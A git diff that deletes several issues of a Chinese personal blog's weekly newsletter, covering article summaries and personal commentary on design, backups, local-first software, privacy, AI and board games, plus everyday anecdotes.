的建议是把记账分成两个板块:流水和快照。流水就是每一笔支出和收入,而快照就是当前的资产情况总览。流水可以每天记、每笔记,快照可以有更长的更新周期。流水用来观察和分析过去的消费习惯,记录类别、商户等自己关心的属性;快照用来评估现状。这条建议我觉得很受用,我很快把记账软件里的资产管理都删掉了,下载了 Percento 这个软件专门做快照,记流水就继续用 Cush——Percento 的统计很直观,Cush 的记录非常快捷,工具各取所长或许才是最好的。 - -#理财 #效率 - -### AI 如何识别出一只猫 - -> [!note] 📜 -> 文章链接:[How Can AI ID a Cat? An Illustrated Guide. \| Quanta Magazine](https://www.quantamagazine.org/how-can-ai-id-a-cat-an-illustrated-guide-20250430/) - -本文通俗地讲解了神经网络的工作原理,有很多便于理解的插图,对于没有数学和计算机科学基础的读者来说也很易懂。作者先用二维的例子举例,描述了神经网络模型如何通过训练推算出直角坐标系上的一条分界线,直角坐标系上的两个维度就是模型的两个输入值,而通过输入值模型能够算出一个 0 到 1 的数值(一般来说接近 1 表示「是」,0 接近表示「否」),模型要绘制的分界线就是「是」和「否」的分界线。 - -然后作者将例子提升了几个维度,模型的输入不再是 X 和 Y 的坐标值,而是一张图片上的所有像素点,有多少个像素点就有多少个维度,因此,要识别一张图片中是不是一只猫,就需要一个上千上万维度的神经网络模型,并在这样一个只存在于数学中的高维空间里划出一条「是猫」和「非猫」的分界线。 - -至于生成文字的大语言模型,也只是把像素点换成了文字而已。本质上,大语言模型一直在进行抽象的数学运算,为的是算概率,算出下一个最有可能的字符是什么。 - -#### 我的观点 - -之前写过一篇题为《[思考是碳基生物的特权吗?](/posts/thinking-privilege/)》的文章,其中的一个观点是:人思考的过程涉及复杂的生物化学反应,可能还有一些无意识过程,并不是数学过程;人工智能创造了一种新智能,我并不认为人工智能在结构上模拟了生物智能。 - -许多人在讨论大语言模型的时候,并不了解这种技术本身,而是把思考和讨论都发散到对这种技术的过度想象中了。这种想象如果飞得太远,甚至会忘记计算机只会操作 0 和 1、软件没有实体,开始严肃地讨论阴谋论和科幻小说的情节。 - -#计算机 #AI - -### 什么是 OKLCH 颜色? - -> [!note] 📜 -> 文章链接:[What are OKLCH colors?](https://jakub.kr/components/oklch-colors) - -OKLCH 是一种颜色模型,是计算机描述颜色的一种方式,与之类似的还有 `rgb`、十六进制、`hsl`、`lch` 等等。和 `lch` 一样,`oklch` 的三个参数分别是 Lightness(亮度)、Chroma(色度)和 Hue(色调)。 - -OKLCH 的优势有很多,如果只改变 Hue(色调)的话,就能获得相同亮度的不同颜色;OKLCH 的渐变色也不容易在中间的过渡部分产生灰色;而且,OKLCH 能比 sRGB 表示更多的颜色,前提是显示器支持显示这些颜色。 - -OKLCH 很适合用来构建设计的色盘,选定一个主色调之后,就能通过改变亮度和色度等其他参数来创建一致的其他颜色。作者做了一个名为 [oklch.fyi](https://oklch.fyi/) 的工具,能帮你很方便地生成 OKLCH 色盘、转换颜色模型等。 - -#### 我的观点 - -OKLCH 应该读成「噢口其」吗? - -#计算机 - -### 关于维生素 D - -> [!note] 📜 -> 文章链接:[地表最强补剂?你可能需要这篇维生素 D 的「说明书」 - 少数派](https://sspai.com/post/102388) - -一篇详尽的有关维生素 D 补剂的文章,作者查阅了一些科研文献和内分泌学会发布的指南,讲述了维生素 D 被「造神」的过程,之后又通过其他采取了更严谨研究方法的研究被推翻,结论是:除了儿童、老人和孕妇等特殊人群,普通人没必要额外补充维生素 D,只需要通过日常饮食和多晒太阳就能补够。 - -不过「多晒太阳」其实挺难的,因为隔着玻璃晒太阳会让效果大大减弱,需要刻意地增加待在户外的时间才行。 - -#### 我的观点 - -这篇文章的有一个小节的标题是「向古人学习」,即:古代人买不到维生素补剂,他们为什么没有出现大面积的因为缺乏维生素 D 导致的健康问题呢?这个问题我也时常在购买补剂和其他类型商品时问自己。有没有可能是现代人把自己养得太好,或者过度听信了片面的科学研究而已? - -思考古人的生活方式往往会得出两种结论: - -1. **今时不同往日**。例如维生素 D 的获取,古人不像现代人大部分时间待在室内,他们有充足的日照时间,可以合成足够的维生素 D,因此,现代人只需要学习古人多晒太阳就好了。 -2. **只是现代人的商业噱头**。其实现代人的生活方式不需要做出任何改变,至少不需要通过消费来做出改变;古人之前是那样做的,现代人这样做也不会有问题。 - -#健康 - ---- - -## ⁂ · 星群 - -### 摸摸鱼计时器 - -一个自称效率小工具但趣味性远大于实用性的 macOS 应用,会在菜单栏显示一个「摸鱼率」,其实就是计算使用非主力工作应用的使用时间和总应用使用时间的比率,能直观地看到自己用电脑的时候有没有把时间花在干正事上,还是挺不错的。 - -据[作者所言](https://sspai.com/post/102164),这个应用的代码是 Vibe coding 的结果,而图标和前端页面的设计也是「Vibe designing」出来的。对于这样简单的需求,用 AI 写确实不错了,而且软件的需求本身就很有意思。==想必在以后,软件的分析建模会占据软件生命周期的更大部分,因为编写代码的成本已经很低了——重点不是「人人都能做出软件」,而是人们可以把更多的时间精力投入在设计上了。== - - - -访问:[摸摸鱼计时器 - 藏在 macOS 菜单栏里的效率小工具](https://momoyu.app) diff --git a/content/posts/weekly/47.md b/content/posts/weekly/47.md deleted file mode 100644 index 480aa15f..00000000 --- a/content/posts/weekly/47.md +++ /dev/null @@ -1,217 +0,0 @@ -+++ -title = "稻草人周刊 Vol.47" -subtitle = "从 Apple Store 回来之后,我获得了五双筷子" -tags = [ - "设计", - "AI", - "认知", - "健康", - "职业", - "计算机", - "Geek", -] -date = 2025-09-22 08:28:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/2025/09/20250922my-bedroom-wall.jpeg" -draft = false -toc = true -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", - "封面图是我这周贴在卧室墙上的毛毡板,上面是一些我没丢掉的咖啡豆袋。", -] -aliases = [ - "/posts/weekly/47", -] -+++ -{{< music cover="https://r2.eltr.ac/picgo2025/taylor-swift-red-album-cover.png" title="I Almost Do" artist="Taylor Swift" apple="https://music.apple.com/cn/album/i-almost-do-taylors-version/1595423133?i=1595423263" spotify="https://open.spotify.com/track/31pEV5lPJi7btskZoUr2yu" netease="https://music.163.com/#/song?id=1891456099" >}} - -这周的某个下雨天,我撑着绿色的伞在路上戴上了耳机,突然很想听《Red》这张专辑。当播放到《I Almost Do》这首歌的时候,我感受到一种炽热的克制和清冷的失落,是很熟悉的感受。Taylor Swift,很神奇吧。 - -<!--more--> - -## ↯ · 当下 - -### 博客速报 - -- 读完了上周六在多抓鱼线下巡游商店买的一本书,书评在此:《[十三封自杀告别信](/library/2025/十三封自杀告别信/)》。很喜欢,推荐一读。 -- 上次更新英文博客还是五月份,这周发布了新的一篇英文文章《[English-Centric Icons](/en/posts/english-centric-icons/)》,是一个一直想写的主题,因为没有很深入,用英文写也没问题,而且这个主题用英文写起来确实会更自然。文章写的是我观察到的一部分需要理解对应英文单词才能理解的图标设计,比如 Discord 的「子区」,由于英文是 Thread[^3],所以 Discord 就用线轴(🧵)的图案作为图标,这很荒谬! - -### 开源项目:Libra.js - -厌倦了臃肿的 Fancybox,于是自己手搓了一个灯箱插件,名叫 [Libra.js](https://github.com/BigCoke233/libra),现已在 GitHub 上开源,也实装在博客上了。点击博客文章里的图片试试看!另外,开发过程中遇到的各种奇怪的 bug 可真是给我改爽了。 - -实现原理和开发过程中踩的坑或许可以写篇文章记录一下,虽然算法不复杂,但其实也挺有意思的。 - -这里也感谢 [@Hsuan](https://github.com/QuarkPixel) 给项目做出的贡献! - -### 从 Apple Store 回来之后,我获得了五双筷子 - -标题是认真的。 - -事情是这样的,朋友约我周六去线下看看苹果新产品。[^4]我们到解放碑那个苹果直营店转了一圈之后,本来我在用店里的 Airpods Max 沉浸式听 Lady Gaga,结果朋友突发奇想找过来,说要把他的 Airpods Pro 摔坏,用 Apple Care+ 换个新的,要是 Pro 2 没货的话,他想看能不能直接白嫖一个 Pro 3。结果摔着摔着他就把一个耳机摔进地缝里了。 - -我:“这下玩大了吧!” - -然后两个人就跑到隔壁新世纪买筷子,因为没有单双卖的所以买了 9.9 十双的。结账之后在门口的自助打包区把筷子用胶带捆起来,延长长度。经过多轮的原型设计和产品迭代,总共消耗了五双筷子,生产了两件废品,最终凑成了一双超长的筷子。两个人又回到 Apple Store 外面的地缝,弯着腰趴在地上在人流当中夹 Airpod[^5]…… 因为筷子太长缝太深,用胶带粘也粘不上,只带上来一堆垃圾,朋友本来准备要去买 502 了[^6],结果他又灵机一动,在没有使用延长版筷子的情况下,把一根普通筷子插进了 Airpod Pro 的耳塞套里,然后就提了起来…… - -我:“Pro 还是好啊。” - -他:“你看你们普通 Airpods 就不能这么干。” - -剩下的五双筷子就被我带回家了。 - -{{< gallery >}} - - -{{</ gallery >}} - -## ⋈︎ · 连接 - -### 3-2-1 备份策略 - -> [!note] 📜 -> 文章链接:[The 3-2-1 Backup Strategy](https://www.backblaze.com/blog/the-3-2-1-backup-strategy/) - -本文讲解了保证数据安全的常见策略——3-2-1 备份策略。简单来说,3-2-1 法则要求你这样备份数据: - -- 数据至少有 **3** 份副本; -- 数据至少被存储在 **2** 种不同的存储介质上; -- 数据至少有 **1** 份副本存储在场外(off-site)。 - -其中,场外指的是工作场所之外,也就是存储在远程的另一台设备上。此外,作者还提到,3-2-1 备份策略已经很老了(在它诞生的那一年,Taylor Swift 只发行了两张专辑!),所以第二条规则在现在的意义有所改变。在以前,人们可以选择很多种不同的存储介质,比如 CD、软盘、U 盘、机械硬盘、磁带等等;如今,CD 和软盘被淘汰了,固态硬盘越来越廉价,人们的选择在整体上变得更单一了。所以,在实行 3-2-1 法则时,不一定要使用两种类型的存储介质,可以只存储在两台设备上。不过,话虽如此,选用尽可能多样的存储介质能保证当前的存储技术被淘汰之后,你的数据依然是可读的(如今已经很难买到能够读取软盘和 CD 的设备了),这适用于那些需要长期储存的数据。 - -作者说,只要定期把数据备份到外部硬盘上,并且有一个能实时同步本地文件更新的云端服务,就能简易地实现 3-2-1 法则。因为这样的话,就有本地、硬盘和云端三个数据副本,本地硬盘和外部硬盘又是两种存储设备,云服务能保证一份副本在场外。 - -#### 我的观点 - -这周险些丢掉了 MacBook 上的数据,原因是电脑在一次重启之后突然无法正常启动,在锁屏界面输入密码之后,Mac 一直卡在加载界面。观察后发现时钟一直没有动,应该是死机了。后来尝试了以安全模式启动、重置 NVRAM、在恢复模式中运行磁盘急救,都没有解决问题,试过两次重装 macOS,竟然还是遇到同样的问题(似乎没能完成系统安装)。本来都已经预约好维修了,结果一个小时没碰它,再次打开 MacBook 的时候系统就恢复了…… 不过启动的时候弹出了好多窗口,我想可能是关机前启动的应用和登陆启动项太多,导致内存写满了。 - -问题解决之前,我其实也没有很慌,因为我知道就算是电脑遗失了我也不担心数据问题——我的硬盘是有密码的,外人没法读取数据;我的重要数据都在外部硬盘和云端(代码更是全部都在 GitHub 上)。 - -读完这篇文章之后我意识到,自己其实一直在无意识地践行 3-2-1 备份策略。对于普通人来说,周期性地把数据备份到外部硬盘上,如果还有 iCloud 或者 OneDrive 之类的服务的话,数据就不成问题。 - -此外,我在[第 32 期周刊](/posts/weekly/32/#光盘是一种可靠的存储介质)中有分享过一篇讲光盘的文章,那篇文章的作者认为尽管这种技术被淘汰了,光盘本身依然是一种十分可靠的存储介质,他自己会有光盘存储那些不常使用但需要大量存储的数据。 - -#计算机 #Geek - -### 你不需要动画 - -> [!note] 📜 -> 文章链接:[You Don't Need Animations](https://emilkowal.ski/ui/you-dont-need-animations) - -作者认为交互设计中任何动画都应该符合以下准则: - -1. 有明确的意图,哪怕只是为了让人感到愉悦,也是一个意图。 -2. 常用的元素不应该有动画,否则会让人觉得很慢、有延迟、感到厌烦。作者拿 Raycast 的交互设计举例,Raycast 窗口的打开关闭和其他交互都没有过渡动画。作者做了一个有动画的例子,看着确实挺烦的。 -3. 大部分情况下,动画的速度应该很快,持续时间应该在 `300ms` 以下。 - -作者认为构建动画最重要的部分是知道什么时候添加动画。 - -#### 我的观点 - -我记得我在设置 CSS `transition` 的时候,如果不想思考,就会默认使用 `0.3s`(也就是 `300ms`)的动画持续时间,因为这是我实践下来觉得很舒服又不会太快的时间,在不同的场景下会以 `0.3s` 作为基准值微调。 - -作者的观点也算刷新了我的认知,因为我之前一直认为没有任何动画会让界面看起来很生硬,现在意识到常用的元素如果有过渡动画的话,的确很烦人,比如 macOS 26 的新聚焦搜索,虽然功能增强了但每次打开都有动画,实在是难以作为常用工具,不久之后我就换回 Raycast 了。 - -#设计 - -### Life-style business 和雄心壮志 - -> [!note] 📜 -> 文章链接:[Building Something Big - Allen Pike](https://allenpike.com/2025/building-something-big) - -Allen Pike 是 Forestwalk 的创始人,他说 Forestwalk 原本是一个 Life-style business,意思是生意的规模取决于创始人的生活习惯,这样的公司规模往往不会很大,但能在创造财富的同时留足时间给自己和自己的家人。然而,Allen 自认为有些雄心壮志,并且意识到如果要和真正有才的人共事,就必须干一番大事业来吸引他们。他带领团队在年初变更了发展方向,并且一直在调整计划,想要创造一些大规模并且可行的东西。 - -#### 我的观点 - -文章提到了 Alex MacCaw 有关 Life-style business 的观点,阐述了这种企业的利弊,其中最大的弊应该就是吸引不到有才华的人。这大概也是吸引力法则的体现。在我看来,Allen 是因为真的想要和更厉害的人共事才做出如此改变的,所以,如果自己并不是真的想要得到某种结果,就没必要逼自己卷,否则最后只能与和自己一样卷的人在一起。 - -不能期待环境变好,而是要大胆表达和改变,这样才能把与自己同频的人和事都吸引过来。 - -#职业 - -### 依赖大语言模型导致认知下降 - -> [!note] 📜 -> 文章链接:[MIT Study Finds Artificial Intelligence Use Reprograms the Brain, Leading to Cognitive Decline](https://publichealthpolicyjournal.com/mit-study-finds-artificial-intelligence-use-reprograms-the-brain-leading-to-cognitive-decline/) - -麻省理工大学发表的一篇名为《[\[2506.08872\] Your Brain on ChatGPT: Accumulation of Cognitive Debt when Using an AI Assistant for Essay Writing Task](https://arxiv.org/abs/2506.08872)》的研究指出,长期依赖大语言模型写作会导致认知下降,这种变化**甚至能通过脑电图观测到**。 - -研究把样本分成了三组:用脑组、搜索引擎使用组和大语言模型使用组。他们发现,外部工具的使用会导致系统性的神经连接(neural connectivity)下降,使用搜索引擎会受到影响,但依赖大语言模型的负面影响最大。并且,就算试验者停止使用 AI,大脑功能也不会立刻恢复。长期依赖大语言模型写作的试验者,在写作中的参与更低,也不觉得文章是真正的自己所有的,更加消极被动、很少做修改、对概念的理解也很匮乏。没有一个大语言模型组的试验者能够准确回忆起自己写过的句子,他们回忆的能力也受到了很大影响。 - -#### 我的观点 - -我没有读论文原文,只是读了 Public Health Policy Journal 的摘要,理解可能存在偏差。读下来我觉得用大语言模型让人变傻的主要原因在于「大脑的参与变少」了。就像我之前说过的,试图用 AI 构建「第二大脑」之前,先想想自己有没有好好用过第一个大脑。 - -此外,这篇研究的结论其实也值得质疑。首先是他没有考虑到一些人在使用大语言模型时可能会采用更积极主动的方式,而不只是被动获取,因此得出的「LLM 让人变傻」的结论可能有些偏差。此外,这个结论非常符合直觉,因此需要怀疑研究人员是不是受到了确认偏差(confirmation bias)的影响,他们有可能是在研究的一开始就相信了这个结论,所以在设计实验和解读实验结果时,会带着这样的信念主观地得出结论。再者,一篇科研报告只能算科学大厦里的一块砖头,不能当作一面墙、甚至一间屋子来看,需要有更多的研究支持才能相信这个结论。 - -还有,我已经想象到中小学老师拿这篇论文大做文章,对学生进行爹味说教了。 - -#AI #认知 #健康 - -### 用户界面中的你和我 - -> [!note] 📜 -> 文章链接:[“Your” vs “My” in user interfaces – Adam Silver](https://adamsilver.io/blog/your-vs-my-in-user-interfaces/) - -作者讨论了在用户界面中指代用户的东西时应该用「你的」还是「我的」这个词,比如,应该写成「你的账户」「你的订单」,还是「我的账户」「我的订单」呢?然而,这在大部分情况下是欺骗性问题(trick question),因为这种东西直接写成「账户」和「订单」就好了! - -然而,总归会有一定要用到人称代词的情况,比如,在一些场景下,有一些项目时属于所有人的,而用户如果想要查看属于自己的那一些,就需要点击一个导航链接,那这里应该写「我的项目」还是「你的项目」呢?作者写到,如果用「我的」这个词,会有一个问题,在帮助文档中和其他人指导用户操作界面的时候,就可能会说出这样的话: - -> 在界面中找到「你的项目」。 - -但界面中只有「我的项目」,这可能会让人感到困惑。如果这个人说「找到我的项目」,被指导的用户又会分不清对方指的到底是自己的还是对方的。作者表示,如果用「你的」就永远不会出现这种问题。 - -在另一些场景下,比如在表单中,用户需要和服务商沟通: - -> 你愿意分享你的头像吗? -> -> - 是的,分享你的头像。 -> - 不要,不分享你的头像。 - -这里的选项就很别扭,应该用「我的」才对。简单来说: - -1. 与用户沟通的时候用「你的」 -2. 用户与我们沟通的时候用「我的」 - -#### 我的观点 - -我觉得,愿意自主研究这种细枝末节的问题的人,一定是对自己所做的事业有热爱的,至少,读完这篇文章之后我感觉作者是这样一个人。这样的人,是在那些稀里糊涂选了一个专业之后被推着就业的人群里,很难找到的。我不禁好奇作者身边的都是什么样的人,也跟他一样有热情吗?他会不会感到孤独?因为我时常无法摆脱这样的孤独。 - -#设计 - -## ⁂ · 星群 - -### Two Slice - -只有两个像素那么高的字体(当然只支持拉丁字母),但神奇的是居然有些许的可读性。 - -看了半天我只看出来第一行字是:You can probably read this, even if you wish you couldn't. 后面一句话就读不全了,复制粘贴之后才知道是:IT TENDS TO BE EASIER TO READ AT SMALLER SIZES. - -感觉会有很小众的奇妙用途。 - - - -访问:[Two Slice, a font that's only 2px tall](https://joefatula.com/twoslice.html) - -## ※ · 妙语 - -{{< quotecard >}}没有天赋其实也不一定是坏事,对于如此缺乏想象力的作品反而不会抱怨。{{</ quotecard >}} - -这句话摘自《[十三封自杀告别信](/library/2025/十三封自杀告别信/)》,我很喜欢小说中一些人物不经意间说出的与主题和情节无关的话,作者的刻意跑题反而能让我从故事中稍微脱离出来休息一下,来感受一下作者自己的个性。 - -可能是我傲慢,但我在与一些人讨论电影、剧集和文学作品时,我时常感受到一些人真的缺乏想象力和品味,在这个夏天让我疯到失去理智的[那个男人](/posts/完美幻觉/)就是其中之一。[^1]他们对最平庸的作品报以掌声和喝彩,谢幕时,他们整个人都充满了不明来源的热血,[^2]而且他们往往成群出现,实在可怕。 - -不过我这样的人大概必须接受,他们品味与自己不和并不是坏事,因为那些缺乏想象力的作品就是他们的同类为他们而作的,这样的作品总归有他们的受众。 - -[^1]: 我究竟是怎么迷上他的?~~因为他和我爸很像吗?~~ - -[^2]: 像什么人类的勇气、家国情怀、人定胜天、对上帝的狂热信仰啊…… 总之是被数次拿来创作却难以找到创新,但一做出来就有人买账还大声叫好的那种。 - -[^3]: 原义是「线」,也可以指代一连串的对话或发帖 - -[^4]: 这个朋友其实是之前喜欢过的那个直男(目移),没错就是毁掉我今年一整个夏天的那位(扭头)。 - -[^5]: 没错,是单数 - -[^6]: 尽管我告诉他 502 干得巨快,而且用起来很危险。 diff --git a/content/posts/weekly/48.md b/content/posts/weekly/48.md deleted file mode 100644 index 83082215..00000000 --- a/content/posts/weekly/48.md +++ /dev/null @@ -1,186 +0,0 @@ -+++ -title = "稻草人周刊 Vol.48" -subtitle = "为什么本地优先应用没有流行起来?" -tags = [ - "计算机", - "软件", - "设计", - "AI", - "人际交往", - "游戏", - "隐私", -] -categories = "稻草人周刊" -date = 2025-09-29 10:41:00 -draft = false -toc = true -banner = "https://r2.eltr.ac/uPic/2025/09/20250929-my-bed.jpeg" -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", - "封面上是我的床,换上了这周刚买的四件套", -] -aliases = [ - "/posts/weekly/48", -] -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/09/Artpop_cover.png" title="Venus" artist="Lady Gaga" apple="https://music.apple.com/cn/album/venus/1472266365?i=1472266531" spotify="https://open.spotify.com/track/3n3S5cH3IyaOswY2XSUGTS" netease="https://music.163.com/#/song?id=27896617" >}} - -刚开始听 Lady Gaga 的时候不清楚为什么对 ARTPOP 的风格不太敢恭维,最近却突然想听,目前最喜欢的是这首和第一首《Aura》。 - -<!--more--> - ---- - -## ↯ · 当下 - -- 读完了另一本讲自杀的小说《[维罗妮卡决定去死](/library/2025/维罗妮卡决定去死/)》,相比[上一本](/library/2025/十三封自杀告别信/)没有很喜欢,原因大概是这一本爹味太重了。 -- 博客做了一些改动 - - 废除了博客的[卡片](/cards/)分区,依然能够单独访问,但是不显示在标签页面和首页了,文中的卡片引用也被替换为了块引用。这么做的原因是我发现自己其实很少写卡片,一个卡片的大小其实也很难把一个概念讲清楚。一开始我把卡片定义为「个人词典」,希望标准化自己的用词,但这个效用也没有发挥出来。 - - 现在点赞(献上心脏)之后能看到自己和其他人献上的心脏(有时是大脑)。 -  - - **移除了博客的 Umami 统计**,一方面保障访客的隐私,另一方面,个人博客其实不太需要分析用户行为,另外,每天总想着打开后台看博客的访问量总归会让我觉得有些焦虑。 - - 调整了博客的一些标签和文章系列:现在「掏心」和其他原先未被归类的散文,都被归为「 [乱章](/categories/乱章/) 」这一个文章系列下了;添加了一个名为「 [人类观察日志](/categories/人类观察日志/) 」的新系列;移除和合并了一些不常用或不清晰的标签。 - - 还给某些标签做了简略的分类: -  -- 给新家添置了一个吧台,作为咖啡角,不想坐着的时候也很适合站立办公。 - {{< gallery >}} -  -  - {{</ gallery >}} - - -## ⋈︎ · 连接 - -### 为什么本地优先应用没有流行起来? - -> [!note] 📜 -> 文章链接: [Why Local-First Apps Haven’t Become Popular?](https://marcobambini.substack.com/p/why-local-first-apps-havent-become) - -作者解释了本地优先 App 没有流行起来的原因:构建本地优先的应用就像维护一个分布式系统一样难。本地优先指的是所有数据都保存在本地,随后上传至云端,其他设备可以通过云端同步数据。本地优先意味着加载速度更快、数据更有保障,也比基于网络的应用更注重用户隐私。[^1] - -随后作者解释了构建分布式系统的两大挑战,顺序不可靠(Unreliable Ordering)和冲突(Conflicts),并分别提出了解决方案:混合逻辑时钟(Hybrid Logical Clocks,HLCs)和无冲突重复数据类型(Conflict Free Replicated Data Types,CRDTs)。 - -简单来说,作者认为构建本地优先应用不应该使用请求队列[^2],应该合并各个设备的改动以保证一致性,使用行之有效的分布式系统技巧(HLCs 和 CRDTs)。 - -#### 我的观点 - -个人认为,本地优先意味着数据保存在本地,用户有更多的控制权,要迁移数据到别的软件也就更容易,让迁移变得困难可能是许多网络优先应用留住用户的方法。大部分网络优先应用会提供导出数据选项,但导出的数据格式一般都很难用。 - -另外,作者提出的数据同步的解决方案其实有些可疑,作者举了这样一个例子: - -> 设备 A:`balance += 20` -> -> 设备 B:`balance -= 20` -> -> `balance` 原来是 100,如果设备 B 后操作(通过 HLCs 比较顺序,而不是依赖不可靠的系统时间),就应该采用 B 的结果,将 `balance` 改为 80,忽略 A 的改动。 - -这很反直觉,因为很明显,A 和 B 都对 `balance` 进行了变更,应该把两次更改合并,先加 20 再减 20,也就是说 `balance` 应该还是 100。有关这点,评论区有另外两位读者也提出了相似的质疑。 - -> @Jacob Wright: -> -> your example with modifying balance shows how weak LWW is. If 2 clients change a balance by +20 and -20, you would *want* the result to be a net zero change. The most naive approach is to let the server decide the value by who arrived last. Your approach by adding a timestamp is slightly better. For a balance, you'd want a PN-Counter that captures increments and decrements so they can merge together. - -> @dries: -> -> This strategy doesn't take into account that peers will propose changes with different local states. Not only that, but some changes might be accumulative, i.e. add both changes (+20, -20), resulting in zero change. The balance example is not the best one. - -作者似乎也没能把 HLCs 的原理讲明白,因为从作者举的例子来看,多台设备依然需要互相通信才能确定操作的先后顺序。评论区有人指出对于这种需求,应该使用基于区块链技术的方法来确定改动顺序。 - -简而言之,作者在这边文章里追求「简单有效」,但似乎有些简单过头,导致有些不可靠的地方。 - -#计算机 #软件 - -### 算工智能 - -> [!note] 📜 -> 文章链接: [Abundant Intelligence - Sam Altman](https://blog.samaltman.com/abundant-intelligence) - -Sam Altman 在 9 月 23 日发布的博客文章,标题是对 AI 这个缩略词的重新定义,把 Artificial(人工的)换成了 Abundant(资源丰富的),这里的资源指代算力资源。Sam Altman 在这篇文章里表达的观点很简单,他认为人工智能的发展速度不应该被基础设施限制住,所以他们接下来的几个月会计划构建能够快速生产大量 AI 基础设施(AI infrastructure)的工厂。 - -另外,Sam Altman 在开头提到使用 AI 在未来可能会成为一项基本人权,我不知道该如何评价。 - -#AI - -### 总是邀请安娜 - -> [!note] 📜 -> 文章链接: [Always invite Anna](https://sharif.io/anna-alexei) - -作者写道自己在大学的第一个学期经常在周五晚上和同学出去聚会,但有一个叫做 Anna 的女生总是拒绝参加,因为她把大多数时间都花在学习上了。最后,大家都不再想着去邀请她了,只有 Alexei 依然坚持。Alexei 解释说他知道 Anna 会拒绝,但他一直这样做是为了让 Anna 感觉自己是团体的一份子。几年之后,作者又遇见了 Anna,说起那段经历时,她说那个时候她非常想念家人,而朋友们每周五晚上都来敲她的门让她感到自己在远离家乡的地方也有了归属。 - -有时候那些最需要收到邀请的人反而是那些总是会拒绝的人。 - -#### 我的观点 - -我没 Alexei 那么心善,如果是现在的我,我会察觉到 Anna 可能需要受到这种关照,但我会无视自己的同理心,然后通过言语或行动暗示 Anna 应该试着自己找到归属,而不是等着别人来敲她的门。我可能还挺坏的,在察觉到别人的情绪时会选择不去理会这种察觉,而是观察对方会以何种方式处理自己的情绪,这对我来说还挺有意思的。 - -#人际交往 - -### 个性化隐私的广告边界 - -> [!note] 📜 -> 文章链接:[个性化广告的隐私边界(上) - 少数派](https://sspai.com/post/102268) - -文章解释了信息时代有关「隐私」的三个误区,区分了隐私、安全和匿名这三个容易被混淆的概念。文章写得很清晰,值得一读。 - -#### 我的观点 - -最近对隐私这个话题有些感兴趣,也借着*被 macOS 26 的新版 Safari 丑到所以换了别的浏览器*[^3]的机会,开始思考如何通过插件、上网习惯等手段,尽可能保证自己的隐私不受侵犯。此外,思考过后,我还把博客的 Web 统计移除了,因为我实际上不需要分析用户行为,而使用脚本跟踪访客本质上也是我讨厌的行为。 - -我现在的做法是使用 Helium 浏览器和 uBlock Origin 插件,尽可能避开需要登录才能使用的网站,以及一个终极奥义——少上网,多出门。 - -#隐私 - -### 一起玩桌游 - -> [!note] 📜 -> 文章链接:[一起坐下玩桌游 \| Bluepikachu](https://bluepika.life/blog/play-boardgames-together) - -作者分享了他对于桌游的认识,澄清了一些关于桌游的常见误区,推荐了一些桌游,我还尤其喜欢最后一段对于《狼人》这个经典桌游的评价。 - -#### 我的观点 - -我也很喜欢桌游,但我想许多真正热爱游戏(无论是电子游戏还是桌面游戏)的人都和我有同样的烦恼,缺少一个最重要的游戏配置——和自己一起玩游戏的人。 - -每次去桌游店玩到好玩的游戏都会记下名字,放进收藏夹里,可每次都没下单。贵不是主要的问题,主要的问题是花了很多钱却找不到人一起来玩。我现在放在家里的桌游就只有两副 UNO,一副是和宝可梦联名的,另一副是比较新的「SHOW 'EM NO MERCY」版本,即使是这样经典易上手的桌游,我也很少有机会拿出来和别人一起玩。我想这是因为我比较独吧。 - -还在教培机构兼职的时候有和学生一起去桌游店玩,因为带了一个班的学生一起,所以桌上一共有十个人,可供选择的游戏就很少。即使是推荐了游戏,也会因为沟通问题(以及班级这种集体里真的很容易出现性格不合的一两对人)导致游玩体验不佳。作者在文章里提到桌游的最佳人数是 4~8 人,我想的确是这样。我想如果是和朋友一起玩,我应该只会组 4 个人的局。[^4] - -文章最后关于《狼人》的讨论很有意思,我虽然不是很老的桌游玩家,也的确是被这种我不太喜欢的新人老人的风气带起来的,我依然对目前《狼人》玩家群体里的各种黑话和套路感到不适,以及被首刀和等待发言真的很容易把人憋坏! - -#游戏 - ---- - -## ⁂ · 星群 - -### Helium - -一个注重去除干扰、专注隐私的开源浏览器,基于 Chromium,内置 uBlock Origin,主打「不把任何数据在用户不知情的情况下上传到云端」。一些设计也很有巧思,功能也不臃肿,很精致的感觉。目前 Helium 还在处于 Beta 测试阶段。 - -{{< gallery >}} - - - - -{{</ gallery >}} - -访问:[Helium Browser](https://helium.computer) - -### Messenger - -一个基于 WebGL 的游戏,画风很喜欢,右上角有任务清单,整体上是开放世界游戏。玩家可以换装,四处探索,还可以看到其他的玩家在地图上走动。我只是简单逛了一下,还没有认真玩这款游戏,但我已经喜欢上了。 - - - - -访问: [Messenger](https://messenger.abeto.co/) - -[^1]: 不过我个人觉得有待商榷,因为同步数据时也需要在网络中传输数据,最保护隐私的做法是完全断开网络连接,但这显然不现实。 - -[^2]: 即把离线的更改都保存起来,等有网络连接时再逐个请求云端提交改动。 - -[^3]: Apple 你还我紧凑模式!😭 - -[^4]: 另一个原因是上次去桌游店想玩《璀璨宝石》,结果被告知这个游戏的最高人数是 4 人——可是我真的很想玩《璀璨宝石》! diff --git a/content/posts/weekly/49.md b/content/posts/weekly/49.md deleted file mode 100644 index 032ef030..00000000 --- a/content/posts/weekly/49.md +++ /dev/null @@ -1,136 +0,0 @@ -+++ -title = "稻草人周刊 Vol.49" -subtitle = "给过度思考者的 10 个想法" -tags = [ - "软件", - "设计", - "人际交往", - "隐私", - "认知", -] -categories = "稻草人周刊" -date = 2025-10-06 02:19:00 -draft = false -toc = true -banner = "https://r2.eltr.ac/uPic/2025/10/20251006-weekly-banner.jpeg" -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", - "封面图是某天在城里拍到的神奇日落", -] -aliases = [ - "/posts/weekly/49", -] -+++ -{{< music cover="https://r2.eltr.ac/picgo2025/Taylor_Swift_%E2%80%93_The_Life_of_a_Showgirl_(album_cover).png" title="Father Figure" artist="Taylor Swift" apple="https://music.apple.com/cn/album/father-figure/1838810949?i=1838810955" spotify="https://open.spotify.com/track/0aUDC3SEogKGU1tEhumAk6" netease="https://music.163.com/#/song?id=2752220246" >}} - -Taylor Swift 发布了新专辑《The Life of a Showgirl》!周刊开头的这首《Father Figure》虽然不是我的全专最爱,但有我最爱的歌词,这首歌词绝对算得上是我 2025 年的年度歌词了。 - -> I can make deals with the devil because my dick's 